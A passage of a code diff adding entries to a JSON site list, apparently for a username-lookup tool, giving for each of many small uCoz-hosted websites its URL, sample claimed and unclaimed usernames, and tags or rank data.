"usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "vip-icq.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://vip-icq.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "nod32-forever.clan.su": { + "engine": "uCoz", + "urlMain": "http://nod32-forever.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dvk-style.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://dvk-style.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kotik.my1.ru": { + "engine": "uCoz", + "urlMain": "http://kotik.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kuzini.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kuzini.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "razborka-japan.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://razborka-japan.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "jump.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://jump.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "once-upon-a-time-tv.ru": { + "engine": "uCoz", + "urlMain": "http://once-upon-a-time-tv.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "5i8.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://5i8.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "gdz.at.ua": { + "engine": "uCoz", + "urlMain": "http://gdz.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "wakeup.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://wakeup.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "obmanunet.clan.su": { + "engine": "uCoz", + "urlMain": "http://obmanunet.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "dreddmc.ru": { + "engine": "uCoz", + "urlMain": "http://dreddmc.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "spygaming.clan.su": { + "engine": "uCoz", + "urlMain": "http://spygaming.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "bashteplovent.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://bashteplovent.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "okm.org.ru": { + "engine": "uCoz", + "urlMain": "http://okm.org.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kapusta.do.am": { + "engine": "uCoz", + "urlMain": "http://kapusta.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "sharing-sat.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://sharing-sat.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "svoimirykami.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://svoimirykami.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "demon-art.ru": { + "engine": "uCoz", + "urlMain": "http://demon-art.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "hackapp.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://hackapp.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 10176942 + }, + "prosmart.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://prosmart.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "collegy.ucoz.ru": { + "tags": [ + "kz" + ], + "engine": "uCoz", + "urlMain": "http://collegy.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 116587 + }, + "greenvisa.at.ua": { + "engine": "uCoz", + "urlMain": "http://greenvisa.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "all-gta.info": { + "engine": "uCoz", + "urlMain": "http://all-gta.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 12202015 + }, + "generalu.at.ua": { + "engine": "uCoz", + "urlMain": "http://generalu.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2233303 + }, + "anschula.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://anschula.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "garmin.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://garmin.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4729385 + }, + "655iap.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://655iap.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "bestclips.ws": { + "engine": "uCoz", + "urlMain": "http://bestclips.ws", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "crossfaernet.my1.ru": { + "engine": "uCoz", + "urlMain": "http://crossfaernet.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "lemfo-russia.ru": { + "engine": "uCoz", + "urlMain": "http://lemfo-russia.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "laserwar48.ru": { + "engine": "uCoz", + "urlMain": "http://laserwar48.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "duz.ucoz.com": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://duz.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "freedom.kiev.ua": { + "engine": "uCoz", + "urlMain": "http://freedom.kiev.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "japanesedolls.ru": { + "engine": "uCoz", + "urlMain": "http://japanesedolls.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 4307732 + }, + "el-pizza.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://el-pizza.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "patent.3dn.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://patent.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "lesbeyanka.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://lesbeyanka.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "ru" + ] + }, + "israelrent.info": { + "engine": "uCoz", + "urlMain": "http://israelrent.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tgi.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://tgi.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "grand-magic.ru": { + "engine": "uCoz", + "urlMain": "http://grand-magic.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "darkart3d.ru": { + "engine": "uCoz", + "urlMain": "http://darkart3d.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "wm-maximum.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://wm-maximum.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6589085 + }, + "ukrelektrik.com": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://ukrelektrik.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2914242 + }, + "mark.szenprogs.ru": { + "engine": "uCoz", + "urlMain": "http://mark.szenprogs.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2737851 + }, + "berea.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://berea.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "japara.clan.su": { + "engine": "uCoz", + "urlMain": "http://japara.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "azovmore.dn.ua": { + "engine": "uCoz", + "urlMain": "http://azovmore.dn.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "parusa-magellana.ru": { + "engine": "uCoz", + "urlMain": "http://parusa-magellana.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red" + }, + "zerkalastekla.ru": { + "engine": "uCoz", + "urlMain": "http://zerkalastekla.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "zdorov10.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://zdorov10.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "russianfoxmail.at.ua": { + "engine": "uCoz", + "urlMain": "http://russianfoxmail.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "skorozamuj.com": { + "engine": "uCoz", + "urlMain": "http://skorozamuj.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ourfunnypets.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://ourfunnypets.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "lname.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://lname.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "kino-horror.ru": { + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "urlMain": "http://kino-horror.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "disabled": true + }, + "moedelo.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://moedelo.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "umorbos.at.ua": { + "engine": "uCoz", + "urlMain": "http://umorbos.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "ua" + ] + }, + "centr-spektr.ru": { + "engine": "uCoz", + "urlMain": "http://centr-spektr.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ofc65.ru": { + "engine": "uCoz", + "urlMain": "http://ofc65.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "avangard-basket.at.ua": { + "engine": "uCoz", + "urlMain": "http://avangard-basket.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "xitlar.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://xitlar.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mechta-sev.at.ua": { + "engine": "uCoz", + "urlMain": "http://mechta-sev.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "soundfactory.ucoz.org": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://soundfactory.ucoz.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4563409 + }, + "sibcoins.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://sibcoins.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dushschool.moy.su": { + "engine": "uCoz", + "urlMain": "http://dushschool.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "halol.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://halol.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 12748883 + }, + "v3de.ru": { + "engine": "uCoz", + "urlMain": "http://v3de.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "vgorah.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://vgorah.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "school-23elista.ucoz.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://school-23elista.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2788790 + }, + "videhelp-comp.my1.ru": { + "engine": "uCoz", + "urlMain": "http://videhelp-comp.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "trays.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://trays.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "forum", + "ru" + ] + }, + "xn--80aqkf5cb.xn--p1ai": { + "engine": "uCoz", + "urlMain": "http://xn--80aqkf5cb.xn--p1ai", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "school1065.moy.su": { + "engine": "uCoz", + "urlMain": "http://school1065.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "baykovoshkola.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://baykovoshkola.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "naruto-fan.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://naruto-fan.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "oldones.org": { + "engine": "uCoz", + "urlMain": "http://oldones.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3282252 + }, + "coffeeworld.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://coffeeworld.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "trainz-vl.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://trainz-vl.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6995958 + }, + "kashanya.com": { + "engine": "uCoz", + "urlMain": "http://kashanya.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "novomoskovsk.my1.ru": { + "engine": "uCoz", + "urlMain": "http://novomoskovsk.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "polotno.at.ua": { + "engine": "uCoz", + "urlMain": "http://polotno.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "focus-pocus.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://focus-pocus.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "resource-mta.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://resource-mta.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "hulyaganka.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://hulyaganka.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "symbian9.clan.su": { + "engine": "uCoz", + "urlMain": "http://symbian9.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "love-magic.clan.su": { + "engine": "uCoz", + "urlMain": "http://love-magic.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mix-best.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://mix-best.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ], + "alexaRank": 2351759 + }, + "southparkz.net": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://southparkz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 614025 + }, + "shporgalki.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://shporgalki.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "vivasan.mobi": { + "engine": "uCoz", + "urlMain": "http://vivasan.mobi", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 4789531 + }, + "budo52.ru": { + "engine": "uCoz", + "urlMain": "http://budo52.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru", + "sport" + ], + "alexaRank": 7451934 + }, + "iceberg-116.ru": { + "engine": "uCoz", + "urlMain": "http://iceberg-116.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "android-gameworld.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://android-gameworld.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 559673 + }, + "cosmoforum.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://cosmoforum.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "forum" + ] + }, + "mastersoap.ru": { + "engine": "uCoz", + "urlMain": "http://mastersoap.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "club-gas.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://club-gas.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 3148854 + }, + "mychildren.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://mychildren.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7027071 + }, + "icook.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://icook.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "music-one.my1.ru": { + "engine": "uCoz", + "urlMain": "http://music-one.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 7565485 + }, + "podolog.su": { + "engine": "uCoz", + "urlMain": "http://podolog.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "school2dobrinka.ru": { + "engine": "uCoz", + "urlMain": "http://school2dobrinka.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 7539499 + }, + "futajik.at.ua": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://futajik.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 2373708 + }, + "masterkosta.com": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://masterkosta.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 6471976 + }, + "vip-cccp.clan.su": { + "engine": "uCoz", + "urlMain": "http://vip-cccp.clan.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "dzhida2000.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://dzhida2000.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "softal.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://softal.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "5level.ucoz.net": { + "engine": "uCoz", + "urlMain": "http://5level.ucoz.net", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "game-mobi.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://game-mobi.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "dreamteam43.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://dreamteam43.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 2663173 + }, + "liozno.info": { + "engine": "uCoz", + "urlMain": "http://liozno.info", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "snegovaya-pad.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://snegovaya-pad.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "tags": [ + "ru" + ] + }, + "razvilnoe.ru": { + "engine": "uCoz", + "urlMain": "http://razvilnoe.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "avto-box.at.ua": { + "engine": "uCoz", + "urlMain": "http://avto-box.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "smarton.at.ua": { + "engine": "uCoz", + "urlMain": "http://smarton.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 9782826 + }, + "rielt55.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://rielt55.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "anime-grand.moy.su": { + "engine": "uCoz", + "urlMain": "http://anime-grand.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "xemera.at.ua": { + "engine": "uCoz", + "urlMain": "http://xemera.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "mistoodesa.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://mistoodesa.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "coins.my1.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://coins.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "shkola3.3dn.ru": { + "engine": "uCoz", + "urlMain": "http://shkola3.3dn.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4615760 + }, + "pmpkbirsk.ucoz.org": { + "engine": "uCoz", + "urlMain": "http://pmpkbirsk.ucoz.org", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mystyle.at.ua": { + "engine": "uCoz", + "urlMain": "http://mystyle.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "wow-game.ru": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://wow-game.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 414268 + }, + "csi.ucoz.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://csi.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "smart-phone.ucoz.ua": { + "engine": "uCoz", + "urlMain": "http://smart-phone.ucoz.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "sense.ucoz.com": { + "engine": "uCoz", + "urlMain": "http://sense.ucoz.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "rcprim.ru": { + "engine": "uCoz", + "urlMain": "http://rcprim.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "marchenkov.do.am": { + "engine": "uCoz", + "urlMain": "http://marchenkov.do.am", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "taxi-belgorod.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://taxi-belgorod.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "tsibulskiy.my1.ru": { + "engine": "uCoz", + "urlMain": "http://tsibulskiy.my1.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "doytrunt.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://doytrunt.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "naruto-rolegame.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://naruto-rolegame.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "domfrunze.kg": { + "engine": "uCoz", + "urlMain": "http://domfrunze.kg", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "pc-world.at.ua": { + "engine": "uCoz", + "urlMain": "http://pc-world.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "kraskiprazdnika.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://kraskiprazdnika.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "santeh-sinfo.ru": { + "engine": "uCoz", + "urlMain": "http://santeh-sinfo.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "xristos.vo.uz": { + "engine": "uCoz", + "urlMain": "http://xristos.vo.uz", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "molodezh-ua.at.ua": { + "engine": "uCoz", + "urlMain": "http://molodezh-ua.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "101vzvod.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://101vzvod.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "si-sv.com": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://si-sv.com", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john", + "alexaRank": 303536 + }, + "actikom.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://actikom.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "school9korolev.moy.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://school9korolev.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 3354755 + }, + "metanoia.at.ua": { + "engine": "uCoz", + "urlMain": "http://metanoia.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "motomanual.at.ua": { + "engine": "uCoz", + "urlMain": "http://motomanual.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "mlm.at.ua": { + "engine": "uCoz", + "urlMain": "http://mlm.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "ohypnose.ru": { + "engine": "uCoz", + "urlMain": "http://ohypnose.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "disabled": true + }, + "musicbunker.ru": { + "engine": "uCoz", + "urlMain": "http://musicbunker.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 5949746 + }, + "edumonch.ru": { + "engine": "uCoz", + "urlMain": "http://edumonch.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex", + "alexaRank": 4837317 + }, + "futajist-studio.moy.su": { + "engine": "uCoz", + "urlMain": "http://futajist-studio.moy.su", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "ksmsp.ru": { + "engine": "uCoz", + "urlMain": "http://ksmsp.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "tags": [ + "ru" + ] + }, + "worldofdragonage.ru": { + "engine": "uCoz", + "urlMain": "http://worldofdragonage.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "red", + "alexaRank": 5709035 + }, + "programm.at.ua": { + "engine": "uCoz", + "urlMain": "http://programm.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin" + }, + "marym.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://marym.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "aikido-mariupol.ucoz.ru": { + "engine": "uCoz", + "urlMain": "http://aikido-mariupol.ucoz.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "zapravkaavto.ru": { + "disabled": true, + "engine": "uCoz", + "urlMain": "http://zapravkaavto.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "admin", + "alexaRank": 8974969 + }, + "mir-stalkera.ru": { + "engine": "uCoz", + "urlMain": "http://mir-stalkera.ru", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "john" + }, + "maslinka.at.ua": { + "engine": "uCoz", + "urlMain": "http://maslinka.at.ua", + "usernameUnclaimed": "noonewouldeverusethis7", + "usernameClaimed": "alex" + }, + "talimger.org": { + 